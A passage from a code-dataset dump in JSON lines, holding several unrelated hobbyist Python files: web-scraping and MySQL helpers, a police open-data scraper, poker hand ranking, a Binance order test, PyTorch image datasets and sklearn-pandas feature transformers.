b'36' and data[2] in b' \\t\\n\\r':\n # filetype = 'ppm'\n # elif data.startswith(b'\\x59\\xA6\\x6A\\x95'):\n # filetype = 'rast'\n # elif data.startswith(b'#define '):\n # filetype = 'xbm'\n # elif data.startswith(b'BM'):\n # filetype = 'bmp'\n # elif data.startswith(b'RIFF') and data[8:12] == b'WEBP':\n # filetype = 'webp'\n # elif data.startswith(b'\\x76\\x2f\\x31\\x01'):\n # filetype = 'exr'\n filetype=imghdr.what(obj)\n if flag:\n os.remove(obj)\n return filetype!=None\n \n\ndef load_url(url:str,headers=request_header(),**kwargs):\n \"\"\"\n if url indicate a html page, return requests.get.text\\n\n acquiescently use get() ;\\n\n use post() if defined 'json' or 'data' as params\\n\n if url indicate local file , f.read()\n \"\"\"\n if re.match('http',url):\n if 'data' in kwargs or 'json' in kwargs:\n resp = requests.post(url,headers=headers, **kwargs)\n # if 'params' in kwargs:\n # resp = requests.get(url,headers=headers, **kwargs)\n else:\n resp = requests.get(url,headers=headers, **kwargs)\n resp.encoding = 'utf-8'\n return resp.text\n with open(url, \"r\", encoding='utf-8') as f:\n html_content = f.read()\n # soup = BeautifulSoup(html_content,features=\"lxml\")\n return html_content\n\ndef load_json(url:str):\n return json.loads(load_url(url))\n\ndef download_html(url:str,dirname='download',filename=''):\n \"\"\"\n download html and save as dirname/filename \\n\n default:\n dirname : peer directory 'download'\n filename : use title of the html (in title widget) as title.html\n return : filepath\n \"\"\"\n resp = \"\"\n try:\n resp = requests.get(url,headers=request_header())\n if resp.status_code != 200:\n return \"None\"\n resp.encoding = 'utf-8'\n except RequestException as e:\n return e\n \n pat = r\"(.*?)\"\n if filename == '':\n filename = re.search(pat, resp.text).group(1)\n if filename.split('.')[-1] not in ['html','htm']:\n filename = filename+'.html'\n\n dirpath = os.path.join(os.getcwd(),dirname)\n filepath = os.path.join(dirpath,filename)\n if not os.path.exists(dirpath):\n os.mkdir(dirpath)\n with open(filepath, mode=\"w\", encoding=\"utf-8\") as f:\n f.write(resp.text)\n return filepath\n\ndef download_picture(url:str,dirname='download',random=True,filename='',skip = True):\n \"\"\"\n download picture and save as dirname/filename \\n if defined random=True,the param filename will abolish\n default:\n dirname : peer directory 'download'\n filename : use title of the html (in title widget) as title.html\n params:\n skip : False , dont download existed picture\n random : True , use md5 to generate filename\n \"\"\"\n if not is_picture(url):\n return None\n path = download_url(url,filename,dirname,random,skip)\n filetype=imghdr.what(path)\n if random and filetype!=path.split('.')[-1]:\n ori_path = path\n path = ori_path+'.'+filetype\n os.rename(ori_path,path)\n return path\n\ndef make_soup(html,parse='lxml'):\n return BeautifulSoup(html,parse)\n\ndef encode_url(url,encoding='utf-8'):\n return quote(url,encoding)\ndef decode_url(url,encoding='utf-8'):\n return unquote(url,encoding)\n\n\n## mysql\n# 导入PyMySQL库\nimport pymysql\n# 导入数据库的配置信息\nfrom .setting import DB_CONFIG,MYSQL_DB_URL\n\nclass MysqlUtil:\n def __init__(self,database=''):\n # 读取配置文件,初始化pymysql数据库连接\n config = DB_CONFIG.copy()\n self.charset = config.pop('charset')\n self.dbname = config.pop('database')\n if database != '':\n self.dbname = database\n \n self.db = pymysql.connect(**config)\n self.cursor = self.db.cursor(cursor=pymysql.cursors.DictCursor)\n # 检查数据库是否存在,并自动创建\n if self.get_fetchone(\"show databases like '{}'\".format(self.dbname)):\n self.db = pymysql.connect(**config,charset=self.charset,database=self.dbname)\n else:\n try:\n self.sql_execute(\"CREATE DATABASE `{}` CHARACTER SET 'utf8mb4';\".format(self.dbname))\n self.db = pymysql.connect(**config,charset=self.charset,database=self.dbname)\n except:\n print(\"error occur when create database {}\".format(self.dbname))\n # 创建数据库游标 返回字典类型的数据\n self.cursor = self.db.cursor(cursor=pymysql.cursors.DictCursor)\n \n\n # 获取单条数据\n def get_fetchone(self, sql):\n self.cursor.execute(sql)\n return self.cursor.fetchone()\n\n # 获取多条数据\n def get_fetchall(self, sql,count=-1):\n \"\"\"执行sql语句,返回前count项结果\n\n Args:\n sql (str): sql语句\n count (int, optional): 返回前count项,-1表示全部. Defaults to -1.\n\n Returns: \n List: \n \"\"\"\n self.cursor.execute(sql)\n if count<=0:\n return self.cursor.fetchall()\n else:\n return self.cursor.fetchmany(count)\n\n # 执行更新类sql\n def sql_execute(self, sql):\n try:\n # db对象和指针对象同时存在\n if self.db and self.cursor:\n self.cursor.execute(sql)\n # 提交执行sql到数据库,完成insert或者update相关命令操作,非查询时使用\n self.db.commit()\n print(\"执行%s成功!\"%(sql))\n except Exception as e:\n # 出现异常时,数据库回滚\n self.db.rollback()\n return False\n\n # 关闭对象,staticmethod静态方法,可以直接使用类名.静态方法\n @staticmethod\n def close(self):\n # 关闭游标对象\n print(\"close()\")\n if self.cursor is not None:\n self.cursor.close()\n # 关闭数据库对象\n if self.db is not None:\n self.db.close()\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy_utils import database_exists, create_database\nBase = declarative_base()\nmetadata = Base.metadata\nclass mysqlengine:\n def __init__(self,Base):\n \"\"\"\n Base 为项目中models.py中各模型类的父类\n \"\"\"\n # 使用pymysql驱动连接到mysql\n if not database_exists(MYSQL_DB_URL):\n # print('database doesnt exist ')\n create_database(MYSQL_DB_URL)\n # self.engine = create_engine(MYSQL_DB_URL,echo=True)\n self.engine = create_engine(MYSQL_DB_URL)\n self.Base = Base\n \n def create_database(self):\n print('create all tables')\n self.Base.metadata.create_all(self.engine)\n def drop_database(self):\n self.Base.metadata.drop_all(self.engine)\n def init_session(self):\n Session = sessionmaker(bind=self.engine)\n return Session()\n \n \n\n\n\n\n","repo_name":"DingSJ101/python_web_crawler","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36620754565","text":"import os\nimport sys\n\nfrom from_root import from_root\n\np = from_root('CONTRIBUTING.md').parent\nsys.path.insert(1, str(p))\n\nfrom scrapers_library.data_portals.opendata.opendata_scraper import \\\n opendata_scraper\n\nsave_url = [\n [\n \"arrests/\",\n \"https://data.cityofberkeley.info/resource/xi7q-nji6.csv\"\n ],\n [\n \"jail_bookings/\",\n \"https://data.cityofberkeley.info/resource/7ykt-c32j.csv\"\n ],\n]\nsave_folder = \"./data/daily/\"\n\nopendata_scraper(url_table, save_table, save_folder, save_subfolder=True)\n","repo_name":"Police-Data-Accessibility-Project/scrapers","sub_path":"scrapers_library/CA/alameda_county/berkely/berkely_police/berkely_opendata_daily.py","file_name":"berkely_opendata_daily.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"48"} +{"seq_id":"9990774074","text":"from collections import Counter\nfrom enum import IntEnum, Enum, auto\nfrom functools import total_ordering\nimport operator\n\nfrom funcy import lmap, lsplit\n\n\nHAND_SIZE = 5\n\n\nclass Rank(IntEnum):\n TWO = 2\n THREE = 3\n FOUR = 4\n FIVE = 5\n SIX = 6\n SEVEN = 7\n EIGHT = 8\n NINE = 9\n TEN = 10\n JACK = 11\n QUEEN = 12\n KING = 13\n ACE = 14\n\n\nclass Suit(Enum):\n SPADE = auto()\n HEART = auto()\n DIAMOND = auto()\n CLUB = auto()\n\n\n@total_ordering\nclass Card:\n def __init__(self, rank, suit):\n self.rank = rank\n self.suit = suit\n\n def __eq__(self, other):\n return self.rank == other.rank\n\n def __lt__(self, other):\n return self.rank < other.rank\n\n def __hash__(self):\n return hash(tuple(self))\n\n\nclass HandCategory(IntEnum):\n HIGH_CARD = 1\n ONE_PAIR = 2\n TWO_PAIR = 3\n THREE_KIND = 4\n STRAIGHT = 5\n FLUSH = 6\n FULL_HOUSE = 7\n FOUR_KIND = 8\n STRAIGHT_FLUSH = 9\n\n\nclass Hand:\n def __init__(self, cards):\n straight = self._is_straight(cards)\n flush = self._is_flush(cards)\n if straight and flush:\n self.category = HandCategory.STRAIGHT_FLUSH\n self.involved, self.kickers = straight\n return\n\n four_kind = self._is_four_kind(cards)\n if four_kind:\n self.category = HandCategory.FOUR_KIND\n self.involved, self.kickers = four_kind\n return\n\n full_house = self._is_full_house(cards)\n if full_house:\n self.category = HandCategory.FULL_HOUSE\n self.involved, self.kickers = full_house\n\n if flush:\n self.category = HandCategory.FLUSH\n self.involved, self.kickers = flush\n return\n\n if straight:\n self.category = HandCategory.STRAIGHT\n self.involved, self.kickers = straight\n return\n\n three_kind = self._is_three_kind(cards)\n if three_kind:\n self.category = HandCategory.THREE_KIND\n self.involved, self.kickers = three_kind\n return\n\n two_pair = self._is_two_pair(cards)\n if two_pair:\n self.category = HandCategory.TWO_PAIR\n self.involved, self.kickers = two_pair\n return\n\n one_pair = self._is_one_pair(cards)\n if one_pair:\n self.category = HandCategory.ONE_PAIR\n self.involved, self.kickers = one_pair\n return\n\n high_card = self._is_high_card(cards)\n self.category = HandCategory.HIGH_CARD\n self.involved, self.kickers = high_card\n return\n\n def __eq__(self, other):\n return (\n self.category == other.category and\n self.involved == other.involved and\n self.kickers == other.kickers\n )\n\n @staticmethod\n def _operation(h1, h2, operand):\n if operand(h1.category, h2.category):\n return True\n for i1, i2 in zip(h1.involved, h2.involved):\n if i1 != i2:\n return operand(i1, i2)\n for k1, k2 in zip(h1.kickers, h2.kickers):\n if k1 != k2:\n return operand(k1, k2)\n return False\n\n def __lt__(self, other):\n return self._operation(self, other, operator.lt)\n\n def __le__(self, other):\n return self._operation(self, other, operator.le)\n\n def __gt__(self, other):\n return self._operation(self, other, operator.gt)\n\n def __ge__(self, other):\n return self._operation(self, other, operator.ge)\n\n @staticmethod\n def _get_ranks(cards):\n return lmap(operator.attrgetter('rank'), cards)\n\n @staticmethod\n def _get_suits(cards):\n return lmap(operator.attrgetter('suit'), cards)\n\n @classmethod\n def _is_flush(cls, cards):\n suits = cls._get_suits(cards)\n if len(set(suits)) == 1:\n return cards, []\n return None\n\n @classmethod\n def _is_full_house(cls, cards):\n ordered_ranks = Counter(cls._get_ranks(cards)).most_common()\n top_rank, top_count = ordered_ranks[0]\n bottom_rank, bottom_count = ordered_ranks[1]\n if top_count == 3 and bottom_count == 2:\n return lsplit(lambda c: c.rank in {top_rank, bottom_rank}, cards)\n return None\n\n @classmethod\n def _is_two_pair(cls, cards):\n ordered_ranks = Counter(cls._get_ranks(cards)).most_common()\n top_rank, top_count = ordered_ranks[0]\n bottom_rank, bottom_count = ordered_ranks[1]\n if top_count == 2 and bottom_count == 2:\n return lsplit(lambda c: c.rank in {top_rank, bottom_rank}, cards)\n return None\n\n @classmethod\n def _is_one_pair(cls, cards):\n ordered_ranks = Counter(cls._get_ranks(cards)).most_common()\n top_rank, top_count = ordered_ranks[0]\n bottom_rank, bottom_count = ordered_ranks[1]\n if top_count == 2:\n return lsplit(lambda c: c.rank in {top_rank, bottom_rank}, cards)\n return None\n\n @classmethod\n def _is_three_kind(cls, cards):\n ordered_ranks = Counter(cls._get_ranks(cards)).most_common()\n top_rank, top_count = ordered_ranks[0]\n if top_count == 3:\n return lsplit(lambda c: c.rank == top_rank, cards)\n return None\n\n @classmethod\n def _is_four_kind(cls, cards):\n ordered_ranks = Counter(cls._get_ranks(cards)).most_common()\n top_rank, top_count = ordered_ranks[0]\n if top_count == 4:\n return lsplit(lambda c: c.rank == top_rank, cards)\n return None\n\n @classmethod\n def _is_straight(cls, cards):\n # doesn't handle low A\n ranks = cls._get_ranks(cards)\n if (len(set(ranks)) == HAND_SIZE and\n max(ranks) - min(ranks) == HAND_SIZE - 1):\n return cards, []\n return None\n\n @classmethod\n def _is_high_card(cls, cards):\n return [], cards\n","repo_name":"vm/poker-equity","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20115422974","text":"import ccxt\nimport datetime\nfrom binance.client import Client\n\nwith open(\"/Users/sugang/Desktop/school/\" + \"bibi.txt\")as f:\n lines = f.readlines()\n access_key = lines[2].strip()\n secret_key = lines[3].strip()\n binance = ccxt.binance({'apiKey': access_key, 'secret': secret_key})\n\nwith open(\"/Users/sugang/Desktop/school/\" + \"bibi.txt\")as f:\n lines = f.readlines()\n access_key = lines[2].strip()\n secret_key = lines[3].strip()\n client = Client(access_key, secret_key)\n\n# btc_unit = binance.fetch_balance()[\"BTC\"]['free']\n# if btc_unit > 0:\n# print(\"hi\")\n\n# print(binance.fetch_balance()[\"BTC\"][\"total\"])\n\nbinance.create_limit_buy_order(\"ETH/USDT\", 0.005136124238423859237589247298579284579284123123, 2901)\n\n\n","repo_name":"suganglive/coinauto","sub_path":"practice/binancepr.py","file_name":"binancepr.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18469452331","text":"n = int(input(\"How many items do you want to add: \"))\r\nlst = []\r\nfor i in range(n):\r\n lst.append(input(\"Enter object: \"))\r\nb = int(input('''\r\nWhich comprehension you want to do?\r\nPress 1 for list\r\nPress 2 for dict\r\nPress 3 for set\r\n'''))\r\nif b==1:\r\n clst = [i for i in lst]\r\n print(f\"LIST: {clst}\")\r\nelif b==2:\r\n cdict = {i:f\"Item {i}\" for i in lst}\r\n print(f\"DICT: {cdict}\")\r\nelif b==3:\r\n cset = {i for i in list}\r\n print(f\"SET: {cset}\")\r\nelse:\r\n print(\"Invalid input\")","repo_name":"rohanhgohil/comprehensions","sub_path":"comprehensionss.py","file_name":"comprehensionss.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32490507049","text":"import torch\nfrom torch.utils.data import Dataset\nimport numpy as np\nimport glob\nfrom tifffile import imread\n \nclass CustomTifDataset(Dataset):\n def __init__(self, data_root, im_idxs, transform=None, target_transform=None):\n self.im_idxs = im_idxs\n self.image_paths = np.array(sorted(glob.glob(data_root + \"images/*.tif\")))[self.im_idxs]\n self.mask_paths = np.array(sorted(glob.glob(data_root + \"labels/*.tif\")))[self.im_idxs]\n self.exists = self.image_paths.size != 0 and self.mask_paths.size != 0\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return len(self.im_idxs)\n \n def __getitem__(self, idx):\n im = torch.tensor(imread(self.image_paths[idx]).astype(float)).unsqueeze(0)\n im_mask = torch.tensor(imread(self.mask_paths[idx]).astype(float)).unsqueeze(0)\n \n if self.transform:\n im = self.transform(im)\n\n if self.target_transform:\n im_mask = self.target_transform(im_mask)\n\n return im, im_mask\n \nclass CustomTensorDataset(Dataset):\n def __init__(self, data_root, im_idxs, transform=None, target_transform=None, spatial_dims=3):\n self.im_idxs = im_idxs\n image_path = glob.glob(data_root+\"*inputs\")\n mask_path = glob.glob(data_root+\"*masks\")\n self.images = torch.load(image_path[0])\n self.masks = torch.load(mask_path[0])\n if spatial_dims == 2:\n self.images = torch.reshape(self.images, (self.images.shape[0]*self.images.shape[1], self.images.shape[2], self.images.shape[3]))\n self.masks = torch.reshape(self.masks, (self.masks.shape[0]*self.masks.shape[1], self.masks.shape[2], self.masks.shape[3]))\n self.images = self.images[self.im_idxs]\n self.masks = self.masks[self.im_idxs]\n self.exists = self.images.shape[0] != 0 and self.masks.shape[0] != 0\n self.transform = transform\n self.target_transform = target_transform\n\n def __len__(self):\n return len(self.images)\n \n def __getitem__(self, idx):\n im = self.images[idx].unsqueeze(0)\n im_mask = self.masks[idx].unsqueeze(0)\n \n if self.transform:\n im = self.transform(im)\n\n if self.target_transform:\n im_mask = self.target_transform(im_mask)\n\n return im, im_mask\n \nclass CustomVaa3DDataset(Dataset):\n def __init__(self, masks_path, inputs_path, idxs, transform=None, target_transform=None, spatial_dims=3, depth=32):\n if spatial_dims == 2:\n self.idxs = np.unique(idxs//depth).astype(int)\n else:\n self.idxs = idxs\n self.inputs_paths = np.array(sorted(glob.glob(inputs_path+\"*[!output].tif\", recursive=True)))[self.idxs]\n self.inputs_paths, self.masks_paths = self.get_existing_data_paths(masks_path, self.inputs_paths)\n self.transform = transform\n self.target_transform = target_transform\n self.exists = len(self.inputs_paths) != 0 and len(self.masks_paths) != 0\n self.depth = depth\n self.spatial_dims = spatial_dims\n\n def get_mask_path(self, masks_path, input_path):\n name_match = input_path.split('/')[-1].split('.')[0]\n mask_file_name = glob.glob(f'{masks_path}/*{name_match}*')\n\n return mask_file_name\n\n def get_existing_data_paths(self, masks_path, input_paths):\n masks_paths_exists = []\n inputs_paths_exists = []\n\n for input_path in input_paths:\n mask_path_file = self.get_mask_path(masks_path, input_path)\n if len(mask_path_file) == 1:\n masks_paths_exists.append(mask_path_file)\n inputs_paths_exists.append(input_path)\n\n return inputs_paths_exists, masks_paths_exists\n\n def __len__(self):\n if self.spatial_dims == 2:\n length = self.depth*len(self.masks_paths)\n else:\n length = len(self.masks_paths)\n\n return length\n\n def __getitem__(self, idx):\n if self.spatial_dims == 2:\n idx_3d = idx//self.depth\n idx_2d = idx%self.depth\n else:\n idx_3d = idx\n\n im = torch.tensor(imread(self.inputs_paths[idx_3d]).astype(float)).unsqueeze(0)\n im_mask = torch.tensor(imread(self.masks_paths[idx_3d]).astype(float)).unsqueeze(0)\n\n if self.spatial_dims == 2:\n im = im[idx_2d]\n im_mask = im_mask[idx_2d]\n \n if self.transform:\n im = self.transform(im)\n\n if self.target_transform:\n im_mask = self.target_transform(im_mask)\n\n return im, im_mask","repo_name":"RodriMenendez/EASI_FISH_3D_U_Net","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35632814405","text":"val = eval(input(\"enter temperature value: \"))\n\n# if we're not using eval:\n# try:\n# if \".\" in Temp:\n# val = float(Temp)\n# else:\n# val = int(Temp)\n# except ValueError:\n# print(\"please enter temp value as numbers (eg 35, 45.4, -5\")\n# quit()\n\nUnit = input(\"enter temperature unit: \")\n\nif \"C\" in Unit.upper():\n degrees = round((9 * val) / 5 + 32, 2)\n new_unit = \"Farnheit\"\nelif \"F\" in Unit.upper():\n degrees = round((val - 32) * 5 / 9, 2)\n new_unit = \"Celcius\"\n \n\nprint(\"The temperature is \", degrees, \" degree \", new_unit)\n","repo_name":"RyhanSunny/myPythonJourney","sub_path":"Convert_Temperature.py","file_name":"Convert_Temperature.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6250313003","text":"import numpy as np\nimport pandas as pd\n\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn_pandas import DataFrameMapper\n\n\ndef gen_features(columns, classes=None, input_df=True,\n suffix = None, alias = None):\n \"\"\"\n Return a list of feature transformers.\n\n - alias to rename the column s\n - suffix to add an suffic to column (e.g. `_enc`)\n\n \"\"\"\n if classes is None:\n return [(column, None) for column in columns]\n else:\n classes = [cls for cls in classes if cls is not None]\n\n # placeholder for all the\n feature_defs = []\n\n for column in columns:\n feature_transformers = []\n\n classes = [cls for cls in classes if cls is not None]\n if not classes:\n feature_defs.append((column, None))\n else:\n\n # collect all the transformer classes for this column:\n for definition in classes:\n if isinstance(definition, dict):\n params = definition.copy()\n klass = params.pop('class')\n feature_transformers.append(klass(**params))\n else:\n feature_transformers.append(definition())\n\n if not feature_transformers:\n # if no transformer classes found, then return as is (None)\n feature_transformers = None\n\n if input_df:\n if alias:\n feature_defs.append((column,\n feature_transformers,\n {'input_df' : True, 'alias' : alias}))\n elif suffix:\n feature_defs.append((column,\n feature_transformers,\n {'input_df' : True,\n 'alias' : str(column)+str(suffix)}))\n else:\n feature_defs.append((column,\n feature_transformers,\n {'input_df' : True}))\n\n else:\n if alias:\n feature_defs.append((column,\n feature_transformers,\n {'alias' : alias}))\n elif suffix:\n feature_defs.append((column,\n feature_transformers,\n {'alias' : str(column)+str(suffix)}))\n else:\n feature_defs.append((column, feature_transformers))\n\n return feature_defs\n\n\nclass DummyTransform(TransformerMixin):\n def __init__(self, name=\"\", verbose = 0):\n \"\"\"\n Dummy transformer to make sure column is retained in dataset\n even though it does not need to be transformerd.\n \"\"\"\n self.verbose = verbose\n self.name = name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: DummyTransform for: {self.name}...')\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: DummyTransform for: {self.name}...')\n return X\n\n\nclass ReluTransform(TransformerMixin):\n def __init__(self, name=\"\", verbose = 0):\n \"\"\"\n Sets negative values to 0 like a Rectified Linear Unit (ReLU)\n\n (for things like revenue which never should be zero anyway)\n \"\"\"\n self.verbose = verbose\n self.name = name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: ReluTransform for: {self.name}...')\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: ReluTransform for: {self.name}...')\n return np.maximum(X, 0)\n\n\nclass NumericFill(TransformerMixin):\n def __init__(self, fill='ExtremeValue', name=\"\", verbose = 0):\n \"\"\"\n Fill missing numerical values with either -999 or the mean\n of the column.\n \"\"\"\n self.verbose = verbose\n self.name = name\n self.fill=fill\n self._mean = None\n\n def fit(self, X, y=None):\n # coerce column to either numeric, or to nan:\n self._mean = pd.to_numeric(X, errors='coerce').mean()\n if self.verbose and self.fill=='mean':\n print(f'Fit: Filling numerical NaN {self.name} with \\\n {self.fill}: {self._mean}...')\n if self.verbose and self.fill=='ExtremeValue':\n print(f'Fit: Filling numerical NaN {self.name} with \\\n {self.fill}: -999...')\n return self\n\n def transform(self, X, y=None):\n X = X.copy()\n if self.fill == 'mean':\n if self.verbose:\n print(f'Transform: Filling numerical NaN {self.name} \\\n with {self.fill} : {self._mean} ...')\n X = pd.to_numeric(X, errors='coerce').fillna(self._mean)\n\n elif self.fill =='ExtremeValue':\n if self.verbose:\n print(f'Transform: Filling numerical NaN \\\n {self.name} with {self.fill} : -999 ...')\n X = pd.to_numeric(X, errors='coerce').fillna(-999)\n return X\n\n\nclass StandardScale(TransformerMixin):\n def __init__(self, name=\"\", verbose = 0):\n \"\"\"\n Scale numerical features to mean=0, sd=1\n \"\"\"\n self.verbose = verbose\n self.name = name\n self._mean = None\n self._sd = None\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: StandarScaling {self.name}: \\\n ({self._mean}, {self._sd}...')\n\n self._mean = pd.to_numeric(X, errors='coerce').mean()\n self._sd = pd.to_numeric(X, errors='coerce').std()\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: StandarScaling {self.name}: \\\n ({self._mean}, {self._sd}...')\n\n X = X.copy()\n X = pd.to_numeric(X, errors='coerce').fillna(self._mean)\n X -= self._mean\n if self._sd > 0:\n X /= self._sd\n return X.astype(np.float32)\n\n\nclass LabelEncode(TransformerMixin):\n def __init__(self, name=\"\", verbose = 0):\n \"\"\"\n Safe LabelEncoder. Deals with missing values and values\n not seen in original column (labels these 'Missing' before label\n encoding).\n\n (sklearn's LabelEncoder honestly kind of sucks for this)\n \"\"\"\n self.verbose = verbose\n self.name = name\n self.le = None\n self.mapping = None\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: Label Encoding {self.name} ...')\n # get all the labels of the categorical variables and add a dummy\n # label 'Missing' as a category for both NaN's and new labels\n # not seen in the training set.\n labels = X.append(pd.Series(['Missing'])).value_counts().index.tolist()\n # create the mapping from the feature names to labels 0, 1, 2, etc\n self.mapping = dict(zip(labels, range(len(labels)) ))\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Label Encoding {self.name} ...')\n X = X.copy()\n # missing_idx is the default value for the dictionary lookup:\n missing_idx = self.mapping[\"Missing\"]\n return X.fillna(\"Missing\").astype(str).apply(\n lambda x: self.mapping.get(x, missing_idx)).astype(int)\n\n\nclass ExtremeValueFill(TransformerMixin):\n def __init__(self, name=\"\", verbose = 0):\n \"\"\"\n Fills missing numerical values with -999\n\n \"\"\"\n self.verbose = verbose\n self.name = name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: Filling numerical NaN {self.name}...')\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Filling numerical NaN {self.name}...')\n return X.fillna(-999)\n\n\nclass BinaryTargetFill(TransformerMixin):\n def __init__(self, name=\"\", verbose = 0):\n \"\"\"\n Cleans up dependent variable for classification:\n changes prediction > 1 to 1, and NaN to 0\n \"\"\"\n self.verbose = verbose\n self.name=name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: Filling target NaN {self.name}...')\n\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Filling target NaN {self.name}...')\n\n X = X.copy()\n X.loc[X>1] = 1\n return X.fillna(0)\n\n\nclass MissingFill(TransformerMixin):\n def __init__(self, name = \"\", verbose = 0 ):\n \"\"\"\n Fills missing categorical values with the label \"Missing\"\n \"\"\"\n self.verbose = verbose\n self.name = name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: Filling categorical NaN \\\n {self.name} with \\\"Missing\\\" ...')\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Filling categorical NaN \\\n {self.name} with \\\"Missing\\\"...')\n return X.fillna(\"Missing\")\n\n\nclass FrequencyFill(TransformerMixin):\n def __init__(self, name = \"\", verbose = 0):\n \"\"\"\n Replaces categorical variables by the frequency of the labels\n in the trainig set.\n\n Fills missing values with -999\n \"\"\"\n self.verbose = verbose\n self.name=name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: Replacing variable by their frequency {self.name}...')\n\n self.frequency_dict = X.value_counts().to_dict()\n self.fitted = True\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: Replacing variable by \\\n their frequency {self.name}...')\n\n assert self.fitted == True\n\n X_freq = X.replace(self.frequency_dict)\n X_freq = X_freq.replace([np.inf, -np.inf], np.nan)\n X_freq = X_freq.fillna(-999)\n return X_freq\n\n\nclass OneHot(TransformerMixin):\n def __init__(self, topx = None, name = \"\", verbose = 0):\n \"\"\"\n One hot encodes column. Adds a column _na, and codes any label not\n seen in the training data as _na. Also makes sure all columns in the\n training data will get created in the transformed dataframe.\n\n If topx is given only encodes the topx most frequent labels,\n and labels everything else _na.\n \"\"\"\n self.verbose = verbose\n self.topx = topx\n self.name = name\n\n def fit(self, X, y=None):\n if self.verbose:\n print(f'Fit: One-hot coding categorical variable {self.name}...')\n X = X.copy()\n if self.topx is None:\n # store the particular categories to be encoded:\n self.categories = X.unique()\n # Then do a simple pd.get_dummies to get the columns\n self.columns = pd.get_dummies(pd.DataFrame(X),\n prefix = \"\",\n prefix_sep = \"\",\n dummy_na=True).columns\n else:\n # only take the topx most frequent categories\n self.categories = [x for x in X.value_counts()\\\n .sort_values(ascending=False)\\\n .head(self.topx).index]\n # set all the other categories to np.nan\n X.loc[~X.isin(self.categories)] = np.nan\n self.columns = pd.get_dummies(pd.DataFrame(X),\n prefix = \"\",\n prefix_sep = \"\",\n dummy_na=True).columns\n return self\n\n def transform(self, X, y=None):\n if self.verbose:\n print(f'Transform: One-hot coding categorical \\\n variable {self.name}...')\n\n X = X.copy()\n # set all categories not present during fit() to np.nan:\n X.loc[~X.isin(self.categories)] = np.nan\n\n # onehot encode using pd.get_dummies\n X_onehot = pd.get_dummies(pd.DataFrame(X), prefix = \"\",\n prefix_sep = \"\", dummy_na=True)\n\n # add in columns missing in transform() that were present during fit()\n missing_columns = set(self.columns) - set(X_onehot.columns)\n for col in missing_columns:\n X_onehot[col]=0\n # make sure columns are in the same order\n X_onehot = X_onehot[self.columns]\n assert set(X_onehot.columns) == set(self.columns)\n # save the column names so that they can be assigned by DataFrameMapper\n self._feature_names = X_onehot.columns\n return X_onehot\n\n def get_feature_names(self):\n # helper function for sklearn-pandas to assign right column names\n return self._feature_names\n\n\nclass LookupEncoder(BaseEstimator, TransformerMixin):\n def __init__(self, lookup_table, fill='mean', smoothing = 0,\n name = \"\", verbose=0):\n \"\"\"\n Replaces every label in a categorical variable with the value given\n in the lookup_table.\n\n When this used to apply a mean encoding (a.k.a. target encoding),\n you can add smoothing to bias the labels with only few observations\n towards the mean.\n\n NaN can either be filled with 'mean' or 'ExtremeValue'\n \"\"\"\n self.verbose = verbose\n self._dim = None\n self.lookup_table = lookup_table\n self.mapping = None\n self.fill = fill\n self._mean = None\n self.smoothing = smoothing\n self.name = name\n\n def fit(self, X, y=None, **kwargs):\n if self.verbose:\n print(f'Fit: Lookup table encoding {self.name}...')\n\n if len(self.lookup_table.columns)== 3:\n self.lookup_table.columns = ['label', 'encoding', 'count']\n elif len(self.lookup_table.columns)== 2:\n self.lookup_table.columns = ['label', 'encoding']\n\n if self.fill=='mean':\n assert len(self.lookup_table.columns)== 3\n self._mean = (\n np.sum(self.lookup_table['encoding'] *\n self.lookup_table['count']) /\n np.sum(self.lookup_table['count'])\n )\n\n if self.smoothing>0:\n assert len(self.lookup_table.columns)== 3\n # smoothing is used for mean encoding and biases the variables with\n # small counts towards the average\n # mean encoding. This is to prevent overfitting for categories with\n # small sample size.\n self.lookup_table['smooth_encoding'] = (\n (self.lookup_table['encoding'] * self.lookup_table['count']\n + self.mean*self.smoothing)\n / (self.lookup_table['count'] + self.smoothing)\n )\n\n self.mapping = pd.Series(\n self.lookup_table['smooth_encoding'].values.tolist(),\n index=self.lookup_table['label'].values.tolist()\n )\n else:\n self.mapping = pd.Series(\n self.lookup_table['encoding'].values.tolist(),\n index=self.lookup_table['label'].values.tolist()\n )\n\n self.fitted = 